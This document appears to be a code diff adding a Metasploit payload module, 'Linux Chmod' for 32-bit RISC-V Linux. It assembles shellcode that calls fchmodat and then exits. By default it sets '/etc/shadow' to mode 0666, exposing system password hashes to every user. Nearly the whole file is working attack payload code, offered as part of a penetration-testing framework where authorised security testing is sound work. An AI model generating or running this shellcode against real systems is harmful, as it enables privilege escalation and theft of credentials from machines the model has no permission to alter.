|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +module MetasploitModule |
| 7 | + CachedSize = 52 |
| 8 | + |
| 9 | + include Msf::Payload::Single |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + merge_info( |
| 14 | + info, |
| 15 | + 'Name' => 'Linux Chmod', |
| 16 | + 'Description' => 'Runs chmod on the specified file with specified mode.', |
| 17 | + 'Author' => 'bcoles', |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Platform' => 'linux', |
| 20 | + 'Arch' => ARCH_RISCV32LE, |
| 21 | + 'References' => [ |
| 22 | + ['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'], |
| 23 | + ] |
| 24 | + ) |
| 25 | + ) |
| 26 | + register_options([ |
| 27 | + OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]), |
| 28 | + OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]), |
| 29 | + ]) |
| 30 | + end |
| 31 | + |
| 32 | + # @return [String] the full path of the file to be modified |
| 33 | + def file_path |
| 34 | + datastore['FILE'] || '' |
| 35 | + end |
| 36 | + |
| 37 | + # @return [Integer] the desired mode for the file |
| 38 | + def mode |
| 39 | + (datastore['MODE'] || '0666').oct |
| 40 | + rescue StandardError => e |
| 41 | + fail_with(Failure::BadConfig, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}") |
| 42 | + end |
| 43 | + |
| 44 | + # @return [Integer] RISC-V instruction to load mode into a2 register |
| 45 | + # For example: 0x1ad00613 ; li a2,429 ; loads 429 (0o644) into a2 |
| 46 | + def chmod_instruction(mode) |
| 47 | + (mode & 0xfff) << 20 | 0x0613 |
| 48 | + end |
| 49 | + |
| 50 | + def generate(_opts = {}) |
| 51 | + fail_with(Failure::BadConfig, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)") if mode > 0xFFF |
| 52 | + |
| 53 | + shellcode = [ |
| 54 | + 0xf9c00513, # li a0,-100 |
| 55 | + 0x00000597, # auipc a1,0x0 |
| 56 | + 0x02458593, # addi a1,a1,36 # 100a0 <path> |
| 57 | + chmod_instruction(mode), # li a2,<mode> |
| 58 | + 0x00000693, # li a3,0 |
| 59 | + 0x03500893, # li a7,53 # __NR_fchmodat |
| 60 | + 0x00000073, # ecall |
| 61 | + 0x00000513, # li a0,0 |
| 62 | + 0x05d00893, # li a7,93 # __NR_exit |
| 63 | + 0x00000073, # ecall |
| 64 | + ].pack('V*') |
| 65 | + shellcode += file_path + "\x00" |
| 66 | + |
| 67 | + # align our shellcode to 4 bytes |
| 68 | + shellcode += "\x00" while shellcode.bytesize % 4 != 0 |
| 69 | + |
| 70 | + super.to_s + shellcode |
| 71 | + end |
| 72 | +end |
0 commit comments